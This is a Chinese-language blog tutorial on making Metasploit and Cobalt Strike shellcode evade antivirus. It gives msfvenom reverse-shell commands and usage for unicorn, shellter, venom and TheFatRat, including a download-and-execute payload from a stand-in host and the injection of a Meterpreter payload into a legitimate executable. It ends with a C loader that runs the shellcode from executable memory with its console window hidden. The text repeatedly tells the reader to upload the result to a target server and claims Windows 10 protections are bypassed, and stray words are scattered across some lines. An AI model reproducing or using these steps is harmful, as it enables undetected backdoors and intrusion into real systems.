shellcode 免殺(一)

工具免殺

選擇了幾個簡單或者近期還有更新的免殺工具進行學習python

ShellcodeWrapper

項目地址linux

https://github.com/Arno0x/ShellcodeWrapperios

該工具的原理是使用異或加密或者aes加密,作到混淆,進行免殺。git

先使用msfvenom生成raw格式文件github

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.1 LPORT=4444 -f raw -o shellcode.raw

下面命令mi0 是密碼隨意寫便可。shell

python shellcode_encoder.py -cpp -cs -py payload/shellcode.raw mi0 xor

會生成3個文件,用C++編譯的cpp文件,用python編譯的py文件和用c#編譯的cs文件c#

直接丟到vs中把cpp編譯生成exe文件便可,上傳目標服務器。windows

unicorn

項目地址數組

https://github.com/trustedsec/unicorn.git安全

從github上下載下來就能夠運行,使用方法很是簡單

支持生成ps一、macro、hta、dde等形式的代碼和文件

全部類型的使用方法以下

Usage: 
python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>

PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
PS Down/Exec Macro: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00 or metasploit)
Custom Shellcode HTA: python unicorn.py <path_to_shellcode.txt> shellcode hta (formatted 0x00 or metasploit)
Custom Shellcode Macro: python unicorn.py <path_to_shellcode.txt> shellcode macro (formatted 0x00 or metasploit)
Generate .SettingContent-ms: python unicorn.py ms

這裏生產powershell的腳本

python unicorn.py windows/meterpreter/reverse_tcp 192.168.2.1 4444

運行powershell的腳本便可

shellter

shellter使用的是PE文件注入的方式,測試kali和windows的版本,感受windows的還要方便穩定一點

windows版本下載地址

https://www.shellterproject.com/download/

以windows爲例下載後直接運行shellter.exe

主要一開始有2個模式,一個Auto一個manual

Auto的選項要少不少,更加的方便,manual選項不少,能夠自定義調用的混淆模塊等參數

Choose Operation Mode - Auto/Manual (A/M/H): A

Perform Online Version Check? (Y/N/H): N

#此處輸入注入的PE文件,這裏注入D盾
PE Target: \\vmware-host\Shared Folders\Mac 上的 mi0\script\kali\D_Safe_Manage.exe	

......(等待)

#選擇是否開啓隱藏模式
Enable Stealth Mode? (Y/N/H): N

#選擇回連payload的方式
************
* Payloads *
************

[1] Meterpreter_Reverse_TCP   [stager]
[2] Meterpreter_Reverse_HTTP  [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP      [stager]
[5] Shell_Reverse_TCP         [stager]
[6] Shell_Bind_TCP            [stager]
[7] WinExec

#選擇輸入listed payload輸入
Use a listed payload or custom? (L/C/H): L

#輸入payload的編號
Select payload by index: 1

***************************
* meterpreter_reverse_tcp *
***************************
#設置監聽地址和端口
SET LHOST: 192.168.2.1

SET LPORT: 4444

.....(等待生成成功便可)

目標服務器上運行程序便可反彈shell(我這裏用msf的模塊監聽便可收到shell)

venom

項目地址

https://github.com/r00t-3xp10it/venom

安裝起來步驟比較繁瑣,主要是依賴問題

進入到目標文件夾

sudo aux/setup.sh

會幫你安裝全部須要的依賴,以後運行

sudo ./venom.sh

選擇目標的模塊

__    _ ______  ____   _  _____  ____    __
           \  \  //|   ___||    \ | |/     \|    \  /  |
            \  \// |   ___||     \| ||     ||     \/   |
             \__/  |______||__/\____|\_____/|__/\__/|__|1.0.16
     USER:kali ENV:vm INTERFACE:eth0 ARCH:x64 DISTRO:Kali
    ╔─────────────────────────────────────────────────────────────╗
    ║   1 - Unix based payloads                                   ║
    ║   2 - Windows-OS payloads                                   ║
    ║   3 - Multi-OS payloads                                     ║
    ║   4 - Android|IOS payloads                                  ║
    ║   5 - Webserver payloads                                    ║
    ║   6 - Microsoft office payloads                             ║
    ║   7 - System built-in shells                                ║
    ║   8 - Amsi Evasion Payloads                                 ║
    ║                                                             ║
    ║   E - Exit Shellcode Generator                              ║
    ╚─────────────────────────────────────────────────────────────╣
                                                  SSARedTeam@2019_|
[☠] Shellcode Generator
[➽] Chose Categorie number: 2

以後會彈出適應該模塊的免殺方式以及生成文件格式,輸入對應的編號便可

以後分別會彈出接收shell的host輸入框,接收shell的port輸入框,反彈shell的payload選擇框(都是msf的),輸入生成文件的名字

後面2個參數都選deafult默認便可

參數輸完以後,去vemon項目下的output中取生成的shell發送到目標服務器上運行便可

注:windows 1的dll文件shell可以繞過windows 10自帶病毒檢測(這就很nice)

運行dll可使用如下命令

rundll32.exe test.dll,main

TheFatRad

項目地址

https://github.com/Screetsec/TheFatRat

安裝步驟很簡單

chmod +x setup.sh && ./setup.sh

更新(更新後還要從新setup.sh一下)

./update && chmod +x setup.sh && ./setup.sh

再檢查下組件是否正常

chmod +x chk_tools 
./chk_tools

注意下即便組件正常也要安裝names的python依賴,以後調用模塊的時候會用到

pip install names

踩坑:個人環境是kali20.2,這個版本的kali使用的kali用戶而不是root用戶,用sudo pip安裝了後,啓動fatrat仍是說找不到names模塊,這時候須要sudo su切換到root用戶進行names的安裝

在安裝時會發現它還須要BDF這個免殺做爲依賴

在肯定全部組件安裝完畢後運行

sudo ./fatrat

稍等片刻進入界面

2         ____                                                              
        |    |                                                             
        |____|                                                             
       _|____|_       _____ _       _____     _   _____     _              
        /  ee\_      |_   _| |_ ___|   __|___| |_| __  |___| |_            
      .<     __O       | | |   | -_|   __| .'|  _|    -| .'|  _|           
     /\ \.-.' \        |_| |_|_|___|__|  |___|_| |__|__|___|_|             
    J  \.|'.\/ \                                                           
    | |_.|. | | |   [--]   Backdoor Creator for Remote Acces [--]          
     \__.' .|-' /   [--]  Created by: Edo Maland (Screetsec) [--]          
     L   /|o'--'\   [--]            Version: 1.9.7           [--]          
     |  /\/\/\   \  [--]          Codename: Whistle          [--]          
     J /      \.__\ [--]   Follow me on Github: @Screetsec   [--]          
     J /      \.__\ [--]   Dracos Linux : @dracos-linux.org  [--]          
     |/         /   [--]                                     [--]          
       \      .'\.  [--]     SELECT AN OPTION TO BEGIN:      [--]          
    ____)_/\_(___\. [--] .___________________________________[--]          
   (___._/  \_.___)'\_.-----------------------------------------/          
                                                                           
                                                                           
        [01]  Create Backdoor with msfvenom                                
        [02]  Create Fud 100% Backdoor with Fudwin 1.0                     
        [03]  Create Fud Backdoor with Avoid v1.2                          
        [04]  Create Fud Backdoor with backdoor-factory [embed]            
        [05]  Backdooring Original apk [Instagram, Line,etc]               
        [06]  Create Fud Backdoor 1000% with PwnWinds [Excelent]           
        [07]  Create Backdoor For Office with Microsploit                  
        [08]  Trojan Debian Package For Remote Acces [Trodebi]             
        [09]  Load/Create auto listeners                                   
        [10]  Jump to msfconsole                                           
        [11]  Searchsploit                                                 
        [12]  File Pumper [Increase Your Files Size]                       
        [13]  Configure Default Lhost & Lport                              
        [14]  Cleanup                                                      
        [15]  Help                                                         
        [16]  Credits                                                      
        [17]  Exit                                                         
                                                                           
 ┌─[TheFatRat]──[~]─[menu]:                                                
 └─────►2

這裏官方推薦02和06模塊,這裏使用02的模塊中的udp加殼

_______ ___ ___ ______   ___ ___ ___ ______  
  |   _   |   Y   |   _  \ |   Y   |   |   _  \ 
  |.  1___|.  |   |.  |   \|.  |   |.  |.  |   |
  |.  __) |.  |   |.  |    |. / \  |.  |.  |   |
  |:  |   |:  1   |:  1    |:      |:  |:  |   |
  |::.|   |::.. . |::.. . /|::.|:. |::.|::.|   |
   ---     ------- ------   --- --- --- --- ---   1.0
 
 Select one tool to create your Windows EXE FUD Rat 
 

 [ 1 ] - Powerstager 0.2.5 by z0noxz (powershell) (NEW)
 [ 2 ] - Slow But Powerfull (OLD)
 [ 3 ] - Return to menu

 ┌─[TheFatRat]──[~]─[FUDWIN]:
 └─────► 2

會出現填寫lhost和lport的提示框

以後會等很長一段時間,生成exe文件,上傳到目標服務器運行便可

監聽使用msf的windows/meterpreter/reverse_tcp)便可
該免殺工具也能過win10的自帶防火牆

手動修改代碼

免殺思路:經過cs和msf生成後門文件,對生成的後門進行代碼處理達到免殺

避免彈出黑窗

在編寫c代碼的時候能夠加上該語句,則不會觸發黑窗

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

基本格式

編譯環境是VS 2019

在運行前將編譯器的棧緩衝區安全檢查(/Gs) 、數據執行保護(DEP)以及代碼優化關閉關閉

關閉位置:

代碼優化:C/C++ --> 優化

棧緩衝區安全檢查(/Gs):C/C++ --> 代碼生成 --> 安全檢查

數據執行保護(DEP):鏈接器 --> 高級 --> 數據執行保護

咱們可使用下面的模板生成shellcode,將msf或者cs的shellcode放入到buf數組變量中便可。

在運行前能夠對buf中的字符進行處理達到免殺(以後會學習記錄下如何手寫shellcode)

#include <windows.h>
#include <iostream>
#include <time.h>
#pragma comment (lib, "winmm.lib")

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void startShellCode()
{
	unsigned char buf[] = "";

	void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, buf, sizeof(buf));
	((void(*)())exec)();
}

void main() {
	startShellCode();
}
相關文章
相關標籤/搜索